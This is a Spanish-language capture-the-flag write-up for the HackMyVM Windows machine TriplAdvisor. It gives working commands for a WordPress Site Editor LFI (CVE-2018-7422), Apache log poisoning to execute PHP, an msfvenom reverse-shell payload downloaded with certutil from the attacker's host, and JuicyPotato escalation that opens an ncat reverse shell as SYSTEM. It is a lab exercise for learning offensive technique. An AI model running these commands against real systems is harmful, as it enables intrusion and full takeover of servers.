cd ~/blog

~/writeups/hmv/118-tripladvisor.md

118 - TriplAdvisor

easy Windows hmv 14-08-2024
WP Site Editor plugin LFI (CVE-2018-7422)Apache log poisoning (RCE)JuicyPotato (SeImpersonatePrivilege)
hackmyvm.eu/machines/machine.php?vm=TriplAdvisor

~1 min de lectura


Tras enumerar puertos, agregamos tripladvisor al /etc/hosts y analizamos el WordPress (puerto 8080) con wpscan, que detecta el plugin Site Editor 1.1:

 wpscan --url http://tripladvisor:8080/wordpress/
...
[+] editor
 | Version: 1.1 (100% confidence)
...

Ese plugin es vulnerable a LFI (CVE-2018-7422), que combinamos con log poisoning del access.log de Apache para lograr RCE. Inyectamos PHP en el User-Agent y lo incluimos:

 curl -A "<?php system('ipconfig /all');?>" http://tripladvisor:8080/wordpress/
 curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"
...
   Host Name . . . . . . . . . . . . : TriplAdvisor
   IPv4 Address. . . . . . . . . . . : 192.168.1.37(Preferred)
...

Generamos un ejecutable con msfvenom y lo descargamos con certutil (envenenando el log de nuevo):

 msfvenom --payload windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=9999 --format exe --encoder x64/xor_dynamic --out pwned64.exe

 curl -A "<?php system('certutil.exe -urlcache -split -f http://192.168.1.11:8000/pwned64.exe C:\windows\tasks\rev.exe');?>"  http://tripladvisor:8080/wordpress/
 curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"

 ncat -nlvp 9999
Ncat: Connection from 192.168.1.37:49236.
Microsoft Windows [Version 6.1.7600]
C:\xampp\htdocs\wordpress\...\includes>

Obtenemos shell como websvc y la primera flag. Revisamos privilegios:

C:\Users\websvc\Desktop>whoami /priv
...
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
...

Con SeImpersonatePrivilege usamos JuicyPotato. Identificamos el SO (Server 2008 R2) y probamos CLSIDs hasta encontrar uno que corra como SYSTEM:

C:\Users\websvc\Desktop>type result.log
...
{659cdea7-489e-11d9-a9cd-000d56965251};NT AUTHORITY\SYSTEM
...

Lanzamos JuicyPotato con ese CLSID y una reverse shell con ncat:

C:\Users\websvc\Desktop>JuicyPotato.exe -l 1337 -c "{659cdea7-489e-11d9-a9cd-000d56965251}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\websvc\Downloads\ncat.exe 192.168.1.11 4444 -e cmd.exe" -t *

 ncat -nlvp 4444
Ncat: Connection from 192.168.1.37:49704.
Microsoft Windows [Version 6.1.7600]
C:\Windows\system32>

Obtenemos shell SYSTEM y nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados